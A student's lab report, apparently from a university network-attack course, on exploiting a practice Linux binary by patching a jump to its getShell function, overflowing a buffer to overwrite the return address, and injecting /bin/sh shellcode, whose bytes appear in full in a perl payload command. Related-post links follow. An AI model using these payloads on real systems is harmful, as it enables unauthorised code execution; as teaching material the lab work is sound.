2017-2018-2 『网络对抗技术』Exp1:PC平台逆向破解 20165335
一.实验目标:
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
二.基础指令:
objdump -d:反汇编目标文件中包含的可执行指令。
call+地址 是说这条指令将调用位于地址处的函数
gdb info 查看寄存器的数值
\x0a表示回车
xxd:进行十六进制的输出,也可以将十六进制输出转换为原来的二进制格式。
三.直接修改机器指令
先使用objdump指令查看反汇编代码

call后面表示要跳转的地址,表示main函数跳转到foo函数处
我们想要修改地址,跳转到getshell函数中,机器指令e8后的地址即可,直接修改为为c3即完成跳转地址转变

运行结果如下:

四.构造输入函数,进行bof攻击:
先确认那几个字符会覆盖返回地址,这里使用一个40bit的字符串来进行探测


通过前后对比EIP寄存器的地址,发现字符串中的1234字段覆盖了地址,那么只需要在对应的位置将其进行eip地址的覆盖修改
同时,验证字符串11111111222222223333333344444444\x7d\x84\x04\x08的准确性
最后,将字符串注入,完成攻击

五.注入shellcode并执行
首先先确认堆栈,文件堆栈可执行,关闭地址随机化,防止地址的变化
构造payload:使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
用A来填满缓冲区,以确认,寻找字符串中对应的的4个字节
输入命令 (cat input_shellcode;cat) | ./20165335 注入攻击bof
在另外一个终端进行gdb调试,先使用 ps -ef | grep 20165335寻找进程号
用attach 命令调用·进程
同时,反汇编,在函数return esp指针变化执行后的ret语句出,设置断点
使用info r esp 查看esp寄存器的值,找出shellcode的地址(地址就在指针的后面)
最后,将找到的4个字节的地址填充进去,完成注入,再次运行程序,实现攻击


六. 实验收获与感想
在此次实验中,我感受到了实验原理的重要性,经过刘老师的原理讲解,使得在实验中思路清晰,知道现在自己在做什么,这样做的目的是什么,使得在过程中,清晰明了,
也经过实验,更深刻的认识到了其中的原理以及eip寄存器,地址等在内存的实际变化,受益匪浅。
漏洞,就是能够使得恶意代码,经过各种非正常的方式注入计算机,并进行运行的计算机运行bug。
漏洞可以使得计算机按照其他人的指令,操作进行运行,可以使得恶意代码不经过各种安全方式运行程序,从而执行shellcode,破坏计算机
NOP 机器码90:NOP指令为空指令,计算机不进行任何操作
JNE 机器码75:条件转移指令,对比是否相等,不相等就跳转
JE 机器码74 :条件转移指令,对比是否相等,相等就跳转
JMP:无条件转移指令。
段内直接短转 机器码:EB
段内直接近转移Jmp near 机器码:E9
段内间接转移 Jmp word 机器码:FF
段间直接(远)转移Jmp far 机器码:EA
CMP:比较指令,对标志寄存器产生影响
2017-2018-2 『网络对抗技术』Exp1:PC平台逆向破解 20165335的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...
随机推荐
- jwt、session、oauth 异同
1,jwt 和session机制 首先jwt 和session机制 都是用户认证的,oauth 不是 session 的流程: 1.用户向服务器发送用户名和密码. 2.服务器验证通过后,在当前对话(s ...
- [LeetCode] Search in a Sorted Array of Unknown Size 在未知大小的有序数组中搜索
Given an integer array sorted in ascending order, write a function to search target in nums. If tar ...
- [LeetCode] N-ary Tree Postorder Traversal N叉树的后序遍历
Given an n-ary tree, return the postorder traversal of its nodes' values. For example, given a 3-ary ...
- PHP算法学习(1) 全局唯一ID
2019年1月8日16:11:13 svn地址:svn://gitee.com/zxadmin/live_z 代码在code里面 全局唯一ID 生产 后续会添加其他方法 <?php /* ...
- uc/os iii移植到STM32F4---IAR开发环境
也许是先入为主的原因,时钟用不惯Keil环境,大多数的教程都是拿keil写的,尝试将官方的uc/os iii 移植到IAR环境. 1.首先尝试从官网上下载的官方移植的代码,编译通过,但是执行会报堆栈溢 ...
- 如何设置 jenkins 任务执行的历史记录在左侧显示的格式?
java -jar I:\CDC\jenkins\jenkins-cli.jar -s http://$ENV:MasterHost.us.oracle.com set-build-display-n ...
- lcr电桥浅谈
此图告知,现代的lcr电桥使用的都是虚地,阻抗很高. 系统采用的鉴相器比较简单,是检半个正弦基波(RMS有效值积分),可以有效抵御偶次基波. 倒不如直接使用运放电容移相,比较采样法直接采样最高点. 此 ...
- stm32通用定时器详解
在stm32的开发中我们经常会用到定时器,因此在学习stm32的过程中定时器是必须要学的,而定时主要又分为三大类分别为: 高级控制定时器(TIM1与TIM8) 通用定时器(TIM2~TIM5) 基本定 ...
- Python文件的读写
一.写数据 f = open("hello.txt", "w") f.write("hello world python!") f.clos ...
- 微信小程序字符串替换
字符串替换有两种,一种是替换一个子字符串,一种是将子字符串全部替换 替换一个子字符串 要求:将“ ”(空格)替换成“,” var isguestnumbername=“aaa bbb ccc” isg ...